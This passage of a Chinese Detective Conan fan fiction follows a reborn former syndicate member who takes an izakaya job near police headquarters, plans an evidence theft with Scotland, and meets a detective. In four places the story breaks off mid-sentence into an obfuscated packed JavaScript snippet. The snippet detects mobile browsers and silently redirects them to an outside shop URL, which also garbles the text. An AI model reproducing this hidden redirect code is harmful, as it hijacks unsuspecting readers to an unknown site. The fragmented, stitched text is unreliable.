白羽响对美食失去了兴趣,抬头打量波本的动作。波本盘子里那条鱼看起来是有些不好对付,他挑得专心致志,头都没抬一下。 她有预感,前三天的晚餐只是前戏,而波本今天平凡的开场白后面,一定跟着其他的内容,而那才是波本准备了好几天的重头戏。 “最近还有在画画吗?”他问道,“学生时代的爱好,放弃了还是很可惜的。” 原主会画画?白羽响挑了挑眉毛。她倒是和这些高雅的艺术没什么缘分。 考虑到原主留下的东西里没有类似于颜料之类的东西,她摇了摇头:“没有了,我现在优先考虑填饱肚子。” 波本点了点头:“说的是。白羽小姐会开车吗?” 她当然会开车,那是组织成员的基本技能。但换了个身体之后,她也面临了一种新的情况。 “我没有驾照。”她回答道。 波本笑着说道:“那可不太方便。我的驾驶技术还不错,你可以拜我为师。回头一起出去兜风吧。” 白羽响弯了弯嘴角。直觉告诉她,波本一定不会是一个好老师。 “有什么事,干脆直说好了。” 铺垫了三天之久,她很期待波本究竟想和她说点什么。 波本笑着看了她一眼,似乎很满意她的敏锐和直接。 不过,他把话题引向了一个完全不相关的话题。 “前两天我们在接头地点见过的那个珠宝店的抢劫犯被捕了,你应该已经看到新闻了吧?” 白羽响的思绪跟着他的话转移,想起了那天在接头地点看到的那个人。那天他反复查看手机,眉头紧巴巴地皱着,一副烦躁不堪的模样。 那则被捕新闻是今早刷到的,她原本没在意——组织外围成员本就是工具人,命不值钱,没人会特意施救。她会多看两眼,只因为报道的主持人是水无怜奈,组织代号“基尔”,之前因“锄奸有功”被Boss赏识,现在在日卖电视台工作,外表温柔秀丽,手段却十分狠辣。 她点评道:“那种沉不住气的人,被捕本来就只是时间问题……” 说了半句话之后,白羽响的话停了下来,带着探究的目光看了一眼波本。 要不是他今天提起这件事,她都快忘了,新闻里说那个抢劫犯被捕的时间正是两天前。也就是说,他在刚刚走出组织的接头地点没一会儿就被人盯上并逮捕了。 难道说…… “不会吧。”白羽响侧过脑袋,有些不敢置信地问,“你把他送给了警方?” 他该不会是觉得新人们都扶不上墙,合作起来可能暴露情报,于是反手把人拿去给什么组织培养的黑警“做了业绩”吧? 她原本以为波本提这事是为了敲打她,可组织里的人越来越肆无忌惮,还真有可能做出这种事。 波本拆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939482|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼的动作顿了顿,抬眼看向她,眼底带着几分无奈的笑意:“怎么你也这么觉得?” “还有谁这么觉得?”白羽响顺着话茬往下问,脑子里飞快过着名单,那天在接头地点、她认识且能和波本搭话的,只有一个人,“苏格兰?” 波本没有顺畅地给出白羽响想要的答案,但他默认了,然后总算说出了正事。 “最近有一个任务,需要你接触一份新的工作,这是老板的名片。”波本简单地说着话,递过去了一张名片,“在那之前,我会安排你和你的任务搭档接触。” 新任务?她喜欢。 白羽响眼睛一亮,接过了波本手中的名片,最关心的还是实际问题:“有钱拿吗?” 她现在正缺钱还账,巴不得多接任务。 名片上写着“富浦居酒屋”,老板名叫富浦一郎。 “很遗憾,是一份‘临时工’,没有多少额外报酬。”波本也跟着她一同笑了起来,“不过也有好消息,任务搭档你已经见过了,是苏格兰。任务很简单,你只需要配合他的行动,把他取得的东西送出工作地点——最好是光明正大地、镇定地送出去,其他的都不用管。” 光听他这么说,似乎是个相当轻松的活。 白羽响有些诧异:“你不去?” 波本说道:“我有事,不过我会尽力赶到的。” 白羽响心里瞬间松了口气,甚至生出几分期待。从前还是响酒时,她和苏格兰搭档过很长时间,后来苏格兰拿到代号拆伙单干了,她还觉得可惜。如今能再续前缘,对她来说倒是个意外之喜。 这顿饭结束,波本开着车把她送回了安全屋。 车子停在巷口,白羽响正准备推开车门,突然想起什么,转头对波本说:“等过几天的任务结束后,我打算换一处新的安全屋。催债的人来过附近,继续待着不安全。” 她完全没有向波本求助的意思,纯粹只是告知。 波本点了点头,目光落在她攥着车门把手的手上:“债务的压力大吗?” 她抬眼看向波本:“你说呢?” “别生气,我只是关心一下。”波本摆出一副无辜的面孔,“下次分赃的时候,我会记得多分些给你的。” 白羽响收回了已经搭在车门上的手,嘴角勾起一抹似笑非笑的弧度。 波本不会觉得她应该对“多分赃”这种画饼一样的话感恩戴德吧? 前几天提分赃,那是为了争取应得的报酬,和债务根本没关系。 而且三番五次地提让她不爽的事,实在是让人火大。她要让他知道,说这种话是要付出代价的。 “这么关心我,又连着请我吃三天饭。”她突然朝波本凑近,几乎把唇贴到他耳侧,声音带着几分戏谑,“波本先生这是打算帮我还债?” 话音刚落,只听“嗒”的一声轻响。波本手腕上那块价值不菲的名牌手表,已被白羽响轻巧地摘了下来,稳稳握在手中。 波本愣了一下,眼底闪过一丝惊讶。 刚才白羽响的目光明明一直落在他脸上,竟还能分神完成这个动作,手速快得让他都没反应过来。 他很快收回了惊讶的神情,倒也不生气,而是笑了笑说道:“没想到你还有这种本事,看来还债的事是我多虑了。” 白羽响举起手表,借着车顶的灯光打量。在灯光的照耀下,表带正在闪闪发光,诉说着它价值不菲。 “这点东西对组织里大名鼎鼎的波本来说,一定只是九牛一毛——”她满意地挑了挑眉,随手将手表塞进外套口袋,“但对我来说,可就是救命之财了。” 宣告完胜利,她朝着波本晃了晃手,说了句“谢谢”,便推开车门,潇洒地走进了暗巷。 波本坐在车内,眼神兀自停在自己的手腕上。 她果然比他想的要老练。 这对于苏格兰的任务来说,究竟算是好事还是坏事呢? 10. 一起回安全屋吧 波本请她吃饭的第二天,白羽响去了一趟富浦居酒屋,应聘了兼职的工作。 工作的内容很轻松,除了休息日的晚班以外,工作日只需要配合老板进行采买和分拣食材。 她很快就结束了上午的工作,不到中午的时候就回到了安全屋。 大概中午的时候,她收到了一条来自波本的见面短信。 “下午五点半,米花中央公园。” 字数很少,传递的信息却很明确。 白羽响搁下手机,来到了化妆镜前,打开水龙头,看着镜中的自己。 几天过去,她已经逐渐习惯了这张脸孔。她将用这张脸和苏格兰再次碰面、再次联手,一想到这些,她竟然有些五味杂陈。 到现在,她也不能完全接受关于响酒的一切,像一部被封存的录像带般,变成了过去式。 她既不能和苏格兰袒露自己的身份,也做不到装成完全陌生的人和他相处。这种尺度,比上次在车上简单对答几句难得多——苏格兰与自己搭档的时间超过了一年,彼此的熟悉度,远不是只合作了几次任务的波本能比的。 接短信前,她还自以为做好了万全准备,可真到临头,紧张与酸涩还是像潮水般涌上来。但她很快深吸一口气,压下翻涌的情绪。 抛开过往,现在最重要的是辅助苏格兰完成任务。 接头自然是越不引人注目越好,她简单将长发扎成高马尾,戴上鸭舌帽压了压帽檐,转身出了门。 傍晚五点半,夕阳把米花中央公园的长椅染成橘色,白羽响到达了约定地点,目光扫过约定的区域,却没看到波本的身影。斜阳之下,一个穿黑色休闲外套的男人,背对着她站在水域边,身形熟悉得让她心头一紧。 是苏格兰。 她下意识放慢脚步。 按她的设想,这种任务对接,要么是苏格兰直接联系她约定地点,要么是波本陪同在场,却从没想过是波本转达消息,只有他们两人单独见面。 走近些后,她才看清苏格兰的模样。 黑色休闲外套熨得平整,领口微微敞开,头发梳理得整齐,显然在出门之前特地收拾过。 听到脚步声,苏格兰回过头来,同她打了个招呼。他看起来精神比前两天好了许多,只是带着几分不易察觉的拘谨。 “今天只有我们两个人?”白羽响向他确认。 苏格兰点了点头,喉结轻轻滚动了一下,没再多说。他一向比较安静,只有在熟悉的人面前才会多话。 水面的波光在苏格兰的眼眸中摇晃,白羽响陪他静立在水边,一时半会儿不知道要怎么开口。他们曾并肩作战一年多,心底早就有了心照不宣的在意,可现在因为身份的改变,连一句自然的问候都成了奢望。 她收拾着心情,率先打破沉默,尽量让语气显得自然:“边走边聊?” 提议得到了苏格兰的首肯,二人从米花中央公园离开,沿着街道一路缓慢地走着。夕阳的余晖把他们的影子拉得很长,却又始终隔着距离。 “你想吃点什么吗?”走了半晌,苏格兰突然开口,声音带着几分小心翼翼的试探。 白羽响知道这是苏格兰的一种暗示,他们应该找一个安静的地方确认任务的细节,但她不知为何,脑子里闪过了一丝奇妙的念头。 怎么听着像约会一样。 嘴角不自觉微微上翘了一瞬,随即又压了下去。 她想起以前,不在任务期时,他们几乎恪守着互不打扰的底线,私下一起吃饭的次数寥寥无几。某次蹲点饿得不行了,苏格兰给她分了一半三明治,两个人大街上啃,又落魄又可怜。那个三明治带着苏格兰的体温,虽然被压得扁扁的,火腿和生菜的味道却格外清晰,成了她记忆里最好吃的三明治。 “去我的安全屋吧。”白羽响突然停下脚步,转过身看着苏格兰,笑着发出邀请,“谈完了事,我请你吃夜宵。” 苏格兰也跟着停下脚步,看着她的笑意,明显愣了一下,随即又多了几分犹豫。 两秒后,他才轻声开口,好心地提醒她:“组织成员一般……不会共享自己的安全屋给别人。” 熟悉的边界感,带着疏离和礼貌,这就是苏格兰一贯给人的印象。即使帮着组织做了再多的脏事,他看起来也不像是个穷凶极恶之徒。 “我知道。” 白羽响点了点头,扭过头状似无心地看了看周围的环境。 昏黄的灯光下,一对推着自行车的情侣走过二人身边,吵嘴的时候不知说了什么,跟在后面的女孩气得去拉男孩的帽子,然后两个人一同嬉笑着跑开了。 那鲜活的互动像一根细针,轻轻戳了戳两人之间紧绷的氛围。白羽响收回目光,再次看向苏格兰:“你来不来?” 这次,苏格兰没有再犹豫,点了点头。 白羽响的安全屋离得并不远,走上几条小巷便到了。她掏出钥匙打开门,按下墙上的开关。啪的一声,灯亮了,映出了她几十平米的小窝。 苏格兰踏进了她的临时住所后就站在了门边。地板上散落着未拆的纸箱,各种东西滚在一旁,还有几件叠得歪歪扭扭的衣服,简直算得上是一片狼藉。 “没收拾。”白羽响拖过一个懒人沙发,示意他坐下,“你不介意吧。” “不会。”苏格兰轻声回应。 但凡懂点人情世故,都不会在这时说“介意”。何况眼前的杂乱反而让他觉得放松。他的目光扫到地上滚出袋口的蜡烛,下意识伸手捡起来,轻轻塞回原本的袋子里,动作自然得仿佛并不是来做客的。 白羽响看在眼里,没说什么。 从前搭档时,他就是这样,总习惯默默收拾好杂乱的东西。 她转身到厨房切了小半个柠檬,泡了杯柠檬水端过来,又拖过阳台上的老旧摇椅,在他身侧坐下,摇椅轻轻晃着,发出细微的“咯吱”声。 苏格兰喝了一口水,终于和她说起了关于任务的事。 “这次任务的目标是潜入警视厅盗取案件证物。” 只这一句话,就让空气瞬间紧绷。 白羽响捏着杯子的手微微用力,带着不可置信的目光,确认了苏格兰不是在和她开玩笑后,神色都垮了下来。 贼进警视厅偷东西? 这任务的风险,比她预想中高得多。 她猛地想起昨天波本交代任务时的模样,三言两语,将任务说得如此简单,绝口不提“潜入警局”和“盗取证物”,而且他自己还不参与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939483|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……前几天频繁请她吃饭,原来全是铺垫,她就知道这件事绝不简单! “你在组织里树敌了?”她放下杯子,带着复杂的心情问苏格兰,“还是说,这个任务有什么特殊的情况?” 人少、难度还大,更别说是让苏格兰来搭一个新人完成。 白羽响眉头紧皱,她几乎可以肯定,这任务八成是组织里对苏格兰有恶意的高层故意布置的,甚至可能是钦点的。而波本把她塞进这个局里,显然也没安什么好心。 想起波本昨天此时的温和假面,她不由冷笑了一声:“波本呢?他去哪儿了?” 一块表加几顿饭,还真打算让她卖命了? “他有其他任务,不过你不用担心。”苏格兰异常平静,说出口的语气像是在安抚她,“我们还有一些时间。” “我需要做什么?”白羽响问道。 “潜入警视厅内,将我拿到的东西转移出去。”苏格兰顿了顿,继续说道,“其他的事,都交给我来。” 也就是说,任务中最危险的部分——伪装、潜入、盗取、引开追兵,全要由苏格兰一个人来扛。他尽可能地照顾自己这位组织新人了,简直可以说是仁至义尽。 她眉头迟迟没能舒展。 苏格兰犹豫了几秒,低声开口:“怎么潜入警视厅,要我们自己去想办法。” 白羽响看着苏格兰充满歉意的眼神,在心中暗暗叹气。 这个消息只是让目前的境遇雪上加霜。可情况本来就已经糟得不能更糟了,她竟然对此毫不意外,甚至气得想要发笑。 苏格兰交代完这句话,深深地舒了口气,安慰白羽响道:“警视厅并非铁板一块。证物的编号能从内部传出来,意味着组织在警视厅一定有内应,只是他在暗处,我们不知道是谁。” 交代完这些,他像是卸下了肩头的重石,身体微微放松下来。手伸进口袋摸了摸,掏出一包未拆封的烟,指尖捏着烟盒,抬眼看向白羽响,带着几分征询:“我去楼下抽一根?” 白羽响盯着他手指间的东西持续地皱着眉。 她记得苏格兰以前确实有吸烟的习惯,可已经很久没有抽了。如今再看到他拿烟,竟有种恍如隔世的错觉,心里又酸又涩。 那会儿,她怎么劝他戒烟来着的?她都快不记得了,只记得苏格兰戒了很久,一直反复着,断断续续的,直到一年前才差不多戒干净。 盯着烟盒看了两秒,她伸出手:“就在这儿吧,给我也来一根。” 明明最厌恶烟味,可故人相逢不能相认,还要面临着地狱难度的任务,哪件事都不能让她提起劲来,她现在只想借着烟雾缭绕的功夫驱散心中的郁结。 苏格兰愣了一下,捏着烟盒的手顿在半空。他缓缓抽出一支烟,却没有递到白羽响的手上,而是连着自己原本抽出来的那根也一同收回盒子里。 “你吝啬这个?”白羽响笑着调侃他。 “不会。”苏格兰跟着她一同笑了起来,“但你这儿挺干净的,算了。” 安全屋本就杂乱,哪来的有“干净”可言? 白羽响看着他垂眸时的苦涩笑意,心中升腾出一丝猜测。 苏格兰重新开始抽烟,不会是最近几天才开始的吧? 11. 与苏格兰的夜宵 夜色像墨汁般晕染开来,安全屋周围叮叮当当的噪音已经几乎消失不见,就连远处的车流声都变得稀疏。 白羽响和苏格兰坐在安全屋里,已经对着一张计划书讨论了近四个小时。纸张上的标记被反复涂改,关键路线和警戒点都已敲定,窗外的天色早已彻底黑透。 “差不多就这样吧。” 苏格兰收起笔,指尖揉了揉眉心,语气里带着一丝不易察觉的疲惫。上一个任务没结束多久,他还没来得及休息,就投入了下一个任务的准备,眼底泛着淡淡的青色。 白羽响点点头,再次记忆了一遍细节之后,拿出火柴,将它点燃。 火苗舔舐着纸张的边缘,发出了滋啦滋啦的响声。红色的热浪映在了她的眼眸之中,记忆仿佛回到了仓库爆.炸的那个夜晚,高温将一切都变得扭曲,直到她的意识消失殆尽。 “我要回去了。” 在安静的火光中,苏格兰这样说了一句。 白羽响回过神,将手中燃烧的纸扔在了脚下的金属盆里。 她想起了今晚将苏格兰带来这里的初衷。 ——银座街角那家贵得要命的拉面店就要关门了。 ——你不是说最近会回米花町?再一起去吃一次吧。 那天晚上,那条没得到回复的消息,对于她来说是一种遗憾。 现在她也没法带着苏格兰去吃那家拉面店了。在她“死”后的这段时间,那家曾经让两个人都觉得“贵但还吃”的拉面店,终究没能撑下去,彻底关门了。 “去吃点什么吧?”她发出了邀请,“这里附近有一家拉面店会开到半夜,做夜宵的生意,客人不多,比较清净。” 今天晚上他俩都没吃晚饭,她不信苏格兰肚子不饿。 面对这个邀请,苏格兰犹豫了一两秒,点了点头:“好。” 两人并肩走出安全屋,沿着人行道慢慢走着。夜风吹起白羽响的长发,她下意识地将头发别到耳后,朝着那家拉面店走去。 这是她搬来的那天偶然发现的店,就在安全屋附近。最近天热,没拉门帘,深夜路过,能闻到淡淡的面香,只是她还暂时没空去光顾。 她与苏格兰坐下之后,看了一眼菜单,点了一碗叉烧拉面之后,又将菜单递给了苏格兰。 他接过来,匆匆看了一眼说道:“两份一样的就好。” 将菜单送还之后,白羽响看了看周围的环境。这里的装修有些简陋,与银座那家精致的拉面店截然不同,价格也亲民的多,也不知道味道究竟如何。 面很快端了上来,热气腾腾的汤汁冒着白烟,叉烧的香气扑面而来。白羽响拿起筷子,夹起一筷子面条送进嘴里,刚咀嚼了两下,眉头就微微蹙了起来。 不好吃。 虽然闻着挺香,但面条煮得有些软烂,缺乏韧性,汤汁的咸淡也失衡,叉烧的肉质偏柴,远不及当年那家店的口感。她心里顿时涌上一股强烈的抱歉感,手里的筷子都顿了顿。 她拉着苏格兰吃这碗面,纯粹是想替死去的自己,给那个没能等到回复的约定一个交代。 这本是她的一种“弥补”,可是……最后却只带他吃了一碗这么难吃的面。 想到这里,她的心头顿时不是滋味,默默搁下了筷子。 “怎么了?”苏格兰注意到她神色的变化,也停手问了一声。 “没什么。”白羽响扯出了一丝笑意,“好像不太美味,你不嫌弃吧?” 苏格兰看向她碗里没动多少的面条,又低头看了看自己碗里的,拿起筷子继续吃了起来,咀嚼的动作很从容,甚至还拿起勺子喝了一口汤汁,脸上没有丝毫嫌弃的神色,反而吃得很香。 “不会。”他说,“深夜能吃到热腾腾的面,已经很好了。” 他似乎真的对这碗面的味道如何并不在意。 白羽响垂下目光,在心中暗暗地叹了口气,也跟着苏格兰的动作舀了一勺汤。 浓郁的汤汁在勺子里晃动着,映出了一盏天花板上发亮的顶灯。热气氤氲中,耳边回荡着店内清晰碗筷的声音,偶尔传来店主和店员们的闲聊声,不安静,但也有一种久违的踏实。 在她开口与苏格兰说明真相之前,这份遗憾是无法真正弥补的。但是……此时此刻,他能坐在她的对面,吃上一碗热乎的拉面,哪怕味道不尽人意,或许也已经是最好的交代了。 苏格兰是对的,这碗面也没有那么难吃。 这个晚上,她跟着苏格兰一起,将这碗拉面吃得干干净净。 任务在即,这个晚上她几乎没怎么睡,第二天醒来,她继续前往了富浦居酒屋。 波本不会无缘无故地给她找这样的一份兼职,直到昨天苏格兰与她沟通任务的时候,她才明白了其中的原因。 这店虽小,却占了绝佳位置,就在警视厅周围的小巷里。 往来客人里十有八九是警员,偶尔还能撞见他们围坐一桌商讨案情,也难怪生意不算红火,却能在这条巷子里撑这么多年。 这是个观察的好机会,她决定用工作来冲淡一下难以入眠时的忧思。 当白羽响向富浦老板提出想要工作一整天的时候,老板的脸上露出了无比惊讶的表情。显然在他的心中,白羽响已经和三天打鱼两天晒网画上了等号。 于是,从正式入职的这天开始,她这段时间过得很规律。 每天早上八点半,她拿着富浦老板给的清单去食材市场采买,推着小推车路过警视厅侧门,总会放慢脚步。她会记下班警换岗的精准时间,看保洁员推着清洁车进出的固定路线,甚至摸清了侧门监控的盲区角度。这些细节都被她悄悄记在随身的小本子上。 到了晚上,她会戴上口罩留在后厨给富浦老板打下手,偶尔也负责出去上酒菜。这家店生意不算红火,生意都集中在警员们下班了以后,甚至还能打听些情报。 比如在这里工作的第二天,她就遇上了一桩大生意——某个警员的庆功宴。十几个人围坐在店内,点了一大桶啤酒和不少小菜。 被人围坐在中间的是个身材魁梧的年轻男人显然是这场庆功宴的主角,他被众人称为“鸭志田”或是“英君”。 白羽响听了一耳朵,顿时觉得“鸭志田英”这个名字似乎在哪里见过。于是她故意走出了厨房,借着给他们倒酒的功夫,竖起耳朵来听。 旁边有人正说着:“鸭志田君独立抓捕了珠宝店抢劫犯,真是让人羡慕的功劳啊。” “是啊,鸭志田君刚从辖区转到搜查一课就立下了大功,可以说是前途无量啊。”有个人勾着鸭志田的肩喝酒,转头又对着身边一个长相漂亮干练的女人说道,“佐藤,我记得你们是同期吧?听说你当初的成绩数一数二,碾压了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939484|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有同学。不过到了实战的时候,还是男警员更得力啊。” “喂喂,怎么能说这种话?美和子可是我们警队的一枝花!” “就是就是!说这种话我们可是要生气的!” 被称为佐藤的女人脸上挤出礼貌的笑意,既没理会身边人话中的贬低之意,也没理会他们无聊的吹捧,只是举杯说了句:“祝贺你,鸭志田。” 佐藤面前的桌上一杯柠檬水。 她是整个桌子上唯一的女性,也是唯一一个没有喝酒的人。 原来是为了破获了珠宝店抢劫案的警员而庆祝啊。 白羽响朝着鸭志田英的身上再次投去审视的目光。她总觉得,这个人不只是名字给她一种熟悉感,似乎还在哪里见过似的。 众人聊得很欢,但佐藤没没有积极参与众人话题的意思。 白羽响观察着这个女人。被称为佐藤的警官漂亮而年轻,在人群中相当引人注目。她的目光看起来很坚定,应该是个很有主意的女性,光是看着她的样子,就让人觉得能力不俗。 后续的时间,这群人就都在插科打诨、互相吹捧,再也听不到什么有用的信息。于是白羽响回到了后厨,继续自己的工作。 这天所有的事情结束的时候已经接近晚上九点,富浦老板慢悠悠地对账,倒了一杯柠檬水坐在吧台上喝。白羽响百无聊赖,坐在他身边不远的一张桌子上,翻看着这几天的观察记录。 每天上午十点半和下午两点,会有穿着蓝色保洁制服的人推着清洁车进出警视厅,人数大约三到四个;傍晚五点过后,警视厅的保洁人员会陆续离开,最晚的也不会超过五点半。 两天的人员基本重合,但也有一两个有变动,她从中推测管理并不严格。 鉴于这个情况,她猜想警视厅的清扫工作是外包给保洁公司的。这么看,混入其中的机会很大。 等白羽响盘算完这些,富浦老板还没有要宣布下班的意思,这让白羽响皱了皱眉。时间指向了九点半,居酒屋已经将近半个小时没有生意了。 她也是要休息和调整的,何况这个任务也给了她不小的压力。 于是,她再次给富浦老板倒了一杯柠檬水,瞟了一眼他手中的账本,刺探一下他算完账了没。 “有一位喜欢喝冰角瓶威士忌加苏打水的客人,每次来的时候都比别人晚。”意识到白羽响的目光后,富浦老板回过头来和她解释原因,“虽然他一个礼拜只来一到两次,但是我习惯等到这个点再下班。” 白羽响当即点点头,表示明白了。 和老板相熟的常客相当于半个朋友,每天多等半个小时理所当然。 “他可是个帅哥。”富浦老板对白羽响说起这件事时,脸上的赘肉都变得生动了些,带着点揶揄,“还是那种一看就很有故事的帅哥,你一定喜欢,跟你郎才女貌的。” 白羽响忍俊不禁。 组织里不缺俊男美女,她见的也不少。不过能得到同性这样的表扬,想来这位熟客的长相确实不俗。 她还挺想见见的。 “说起来,明天晚上八点半以后我刚好有事,白羽你能独自看一个小时的店吗?”富浦老板说着笑了起来,“说不定就被你碰见了呢。” 白羽响应了下来。 反正最近的时间都在静默和观察,她本也闲着没事做。 12.松田vs居酒屋女招待 白羽响没有想到,富浦老板的话竟然迅速地应验了。 第二天晚上,她在店里忙到晚上八点多,陪富浦老板送走最后一桌客人。在富浦老板离开之后,她又擦了吧台、算好账,学着富浦老板的样子,在吧台上百无聊赖地喝着柠檬水。 正惬意的时候,门口的风铃突然响了。 夜风裹着点凉意钻进来,跟着进来个穿黑色风衣的男人。 白羽响看了他一眼。 他戴着墨镜,嘴角叼着根没点燃的烟,头也不抬地在手机上打着什么字,似乎在和什么人聊天。他完全没看周围,径直走向最里面的吧台位,拉开椅子坐下,既没点单,也没抬头,周身透着股生人勿近的慵懒。 白羽响几乎一眼就确定这就是富浦老板口中那位“很有故事”的熟客。 微卷的长发遮住半副墨镜,却不显邋遢,反而添了几分落拓不羁;黑色风衣衬得他肩线挺拔,明明是少年气的脸,却被烟和墨镜衬出几分成熟的沉郁。这种矛盾的反差在他身上格外和谐,就算走在大街上,也让人忍不住多看两眼。 确实是让人印象深刻的类型。 事实上,她也确实见过这个人。 这几天观察警视厅时她见过这个人出入,他应该是一名警员。 只是不知为何,下班几个小时之后,他又折返回了警视厅的附近。 白羽响没与他套近乎,按照富浦的叮嘱,转身从酒柜取下角瓶威士忌,加冰、兑苏打水,动作麻利地调好,轻轻推到他面前:“角瓶威士忌加冰和苏打水。” 听到陌生的女声,男人终于抬了头。 他摘下了墨镜,露出双带着倦意却格外清亮的桃花眼,目光在白羽响脸上停留了两秒,带着些笑意,开玩笑般地问道:“老板换人了?” 说话间,他将那根烟点燃,却没急着抽,只是搁置在一边。 “富浦老板有事,我临时替他看会儿店。”白羽响解释着,转身从后厨端了碟盐渍毛豆和一小盘炸鸡块过来,放在他手边,“老板的特别叮嘱,空肚子喝酒伤胃。” “谢谢。”男人拿起筷子,轻轻拨弄着翠绿豆子上的盐粒。 他夹起一颗毛豆,手腕微微一转,豆荚顺着纹路“啪”地裂开,豆仁滚进碟子里,连沾在荚上的盐粒都没带下来,动作轻巧得像在摆弄什么精密的小玩意儿。嚼着豆仁的间隙,他又拿起手机,指尖在屏幕上翻飞,单手打字的速度快得惊人,仿佛那些按键早已刻进了骨子里。 白羽响盯着他的动作,不由赞叹:“你的手真巧。” 男人闻言,嘴角勾了勾,没接话,只是端起酒杯抿了口,带着丝慵懒。冰块在杯底轻轻晃动,发出些许清脆的响声。 他很快处理完手机里的事,将手机倒扣在吧台,目光落在对面的酒柜上。手中的酒已经喝完了一半,他像是在发呆,又像是在琢磨什么难办的事。 “工作不顺利?”白羽响看着他的模样猜测。 “嗯,碰上了棘手的旧账。”男人简单地解释,没有多说。 白羽响识趣地没再搭话,只是坐在旁边的高脚凳上,翻着自己的观察小本子。刚刚没有客人的那会儿,她在上面画了侧门监控的简易草图,为任务的逃跑路线做准备。 “老板要求你手写账本?”他单手提着酒杯,语气里带着点笑意。 “那倒没有。”白羽响挑了挑眉,撒谎时语气自然得像真有这么回事,“是我自己的习惯。我会记录了一些常客的爱好,下次推荐酒品的时候会方便一些。” “然后偷偷给每个顾客起别名?” 白羽响合上本子,将它塞进围裙口袋:“差不多吧。” 两个人说着,笑了起来。 过了会儿,他喝完最后一口酒,将杯子推到吧台中间,掏出钱放在旁边,数额刚好比酒钱多一些。白羽响合上了自己记录用的本子,站起身打算送一送他。 “你比富浦慷慨。”他拿起墨镜重新戴上,含住了那根燃了一会儿的烟,“他从不送鸡块。” 告别之后,他转身推门走出店。风铃“叮铃”响了一声,他的风衣下摆扫过门槛,消失在了夜色之中。 这场萍水相逢来得突然,去得无声。 白羽响将富浦居酒屋落锁,回到了安全屋中。 折腾了几天,事情总算有些眉目。她的手机中静静地躺着几张地图,是苏格兰给她发来的,看来他也顺利潜入了警视厅内部。 白羽响对着那几张地图翻看,很快就记住了大致内容。她躺在沙发椅中,意识渐渐沉沦。 她在黑暗中看见了苏格兰的脸。 那双熟悉的眼睛变得冰冷而绝情,黑漆漆的枪洞指着她的眉心。 “叛徒。” 他的声音很轻,却甩不开一般跟着她的意识而行。 她想辩解,却毫无力气,就好像喉口都被人扼住。 身体先于意识动了起来,在一片没有尽头的苍白之中奔逃。身后的脚步声在背后不疾不徐地追赶,似乎永远都只差那么点距离。 她在奔逃中上了一辆车,开着车一路飞驰,经过了皮斯科的宅邸。写在门口的“枡山”的两个字被血染红,庭院中的尸体七倒八歪,她还来不及细看,就听见了狙.击枪的响声。 她只得继续逃跑,在路的镜头用车头撞破了一扇生锈的铁门,映入眼帘的是一个巨大的仓库。 空旷、破败……熟悉。 仓库中央,停着一辆车,保时捷356A,被惨淡的背景衬托得像是一口沉默的棺材。 一个更冷、更熟悉的声音带着嘲弄的意味响了起来,气息好似拂过她的脖颈—— “你想跑到哪里去?响酒。” 银发在空中飘动,电子音响了起来,随后是一声巨大的爆炸声。 白羽响猛然从沙发上弹了起来,心脏疯狂地擂动胸腔。隔音不好的老旧住宅区此时竟一片死寂,只剩她的喘息声。 她盯着手机屏幕透出的微光,瞬间反应过来——刚才惊醒她的不是缠人的噩梦,而是手机的电子音铃声。 指尖带着刚从梦魇中挣脱的颤抖,她两次伸手才稳稳抓住手机,按亮屏幕的瞬间,她意识到是苏格兰的来电,她没接到。 冰冷的感觉依稀在耳旁回响,她抹了一把自己的脸,强行让自己分清楚梦魇与现实。 苏格兰向来体贴稳妥,从不会在半夜无故来电,必然出了紧急情况。 想到这里,她不等胸腔的悸动平复些许,就将电话再次打了回去。 “白羽小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943892|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,出了特殊情况。”苏格兰的嗓音从电话那头传来,“我们今晚要碰个面。” 白羽响的心头猛然沉了下去,不好的预感攫住了她。 一定是出意外了。 但她不能慌。 不管出了什么事,她都得稳得住,把这个任务做好。强大的心态就是对彼此来说最大的保障。 苏格兰来到她的安全屋周围的时候,已经是凌晨四点以后了。 